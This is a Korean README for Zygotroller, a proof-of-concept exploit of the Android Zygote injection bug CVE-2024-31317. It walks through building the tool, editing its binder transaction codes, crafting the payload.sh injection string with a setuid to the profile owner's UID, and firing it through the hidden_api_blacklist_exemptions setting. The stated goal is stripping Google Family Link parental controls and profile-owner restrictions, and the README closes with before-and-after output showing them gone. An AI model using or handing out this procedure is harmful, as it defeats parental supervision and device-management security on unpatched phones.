
Android 프로필 소유자/가족 링크를 CVE-2024-31317로 제거
Zygotroller는 CVE-2024-31317의 Zygote 인젝션 버그를 이용해 프로필 소유자와 관련 제한을 제거할 수 있는 개념 증명입니다. 이를 사용하려면 개발자 모드가 활성화되어 있어야 하며 최신 보안 패치가 2024년 6월 이전이어야 합니다.
Google의 자녀 보호 시스템인 Family Link가 이 저장소에서 예시로 사용됩니다.
Zygotroller를 컴파일하려면 Debian 기반 배포판을 실행하는 비교적 최신 기기가 필요합니다. 이 글을 읽는 시점에 따라 프리빌트가 제공될 수도 있고 아닐 수도 있습니다.
아쉽게도 이 도구는 Android 내부 구성 요소에 의존하므로 Zygotroller를 빌드하려면 Android 소스 코드 전체를 클론해야 합니다. 최소 400GB의 여유 공간이 있는지 확인하세요. 실제로는 그보다 적게 사용할 가능성이 높습니다.
WSL 사용 시 중요: 스왑 공간이 아주 많아야 합니다. 그렇지 않으면 WSL이 크래시됩니다. 저는 개인적으로 32G를 사용했습니다:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
이제 AOSP 소스를 클론합니다:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (요청 제한(rate limit) 때문에 여러 번 시도해야 할 수 있음)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (에뮬레이터에서 테스트하는 경우 arm64를 x86_64로 변경)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
이제 스크립트의 값을 실제 프로필 소유자와 clearProfileOwner의 opcode로 변경해야 합니다.
프로필 소유자는 Google Play 서비스의 "supervision" 패키지나 Google Play 서비스 자체에 있을 수 있습니다. dpm list-owners를 실행하면 제 결과는 다음과 같았습니다:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
이를 통해 Zygotroller에 필요한 두 가지 정보, 즉 패키지 이름(com.google.android.gms.supervision)과 클래스 이름(com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)을 얻을 수 있습니다.
원하는 텍스트 편집기로 zygotroll.cpp를 열고 다음 줄을 본인의 프로필 소유자 구성 요소로 업데이트하세요:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
이제 DPM의 clearProfileOwner 함수에 대한 opcode를 찾아야 합니다. 제 경우에는 "91"이었지만 실행 중인 Android 버전/유형에 따라 다릅니다. clearProfileOwner의 opcode를 얻기 위해 다음 명령과 함께 android-svc를 사용했습니다:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
출력에서 보이는 숫자가 clearProfileOwner의 opcode입니다. 다시 원하는 텍스트 편집기로 zygotroll.cpp를 열고 여기의 숫자를 실제 opcode로 편집하세요:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
setUserRestriction에도 동일한 작업을 수행해야 합니다:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
이제 zygotroller를 컴파일해야 합니다:
mm
초기 빌드에는 매우 오랜 시간이 걸릴 수 있으며, 이후 빌드는 대부분의 최신 머신에서 1분 미만이 소요됩니다.
바이너리는 ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller에서 찾을 수 있습니다.
이제 이 바이너리를 "공유 라이브러리"로 포함하는 앱을 만들어야 합니다. 실제로는 Zygotroller 실행 파일일 뿐이지만, SELinux가 이를 실행하도록 허용하게 됩니다. 이를 위해 제 "CopyNativeLib" 저장소를 사용할 수 있습니다:
git clone https://github.com/rifting/CopyNativeLib.git
그런 다음 Zygotroller 바이너리 이름을 libzygotroller.so로 바꾸고 app/src/main/jniLibs/arm64-v8a에 넣으세요(휴대폰 아키텍처가 arm64-v8a일 것이라고 가정합니다). Android Studio에서 APK를 빌드하고 adb install로 기기에 설치하세요.
Family Link 프로필 소유자의 userid는 저의 경우 10090이었습니다. 즉 u0_a90입니다.
dumpsys package com.google.android.gms.supervision | grep userId=를 실행하세요.
이제 payload.sh를 살펴보세요. 이 줄에서
inject='\n--setuid=10090...
여기의 UID를 10090에서 dumpsys 명령으로 얻은 본인의 UID로 변경하세요. 동일한 ID라면 그대로 두세요.
그 줄에서 조금 더 가면 다음과 같은 내용이 보입니다:
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(세 개의 점은 생략을 나타내기 위해 사용되었습니다)
이들을 방금 기기에 설치한 네이티브 라이브러리의 경로로 바꿔야 합니다. pm path com.rifting.copynativelib를 실행하세요.
파일 경로는 명령 출력에 표시된 APK의 상위 디렉터리 + lib/arm64-v8a/libzygotroller.so가 됩니다. LD_LIBRARY_PATH는 라이브러리의 디렉터리를 가리켜야 하며, 그 뒤에 실제 라이브러리 경로가 와야 합니다.
그러면 해당 줄은 대략 다음과 같은 형태가 됩니다:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
거의 다 됐습니다! 이 파일을 /data/local/tmp로 푸시하세요.
adb push payload.sh /data/local/tmp
권한을 설정하세요:
chmod +x /data/local/tmp/payload.sh
그리고 마지막으로, 그 출력을 hidden_api_blacklist_exemptions로 보내세요!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
이제 부팅 루프를 방지하기 위해 이 값을 "0"으로 설정하세요 :)
settings put global hidden_api_blacklist_exemptions 0
Family Link 프로필 소유자와 관련된 모든 제한이 제거된 것을 확인할 수 있을 것입니다. 설정으로 이동하여 계정 관리를 연 다음, 감독 대상 계정을 기기에서 제거하세요. 축하합니다!
이전:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
이후:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...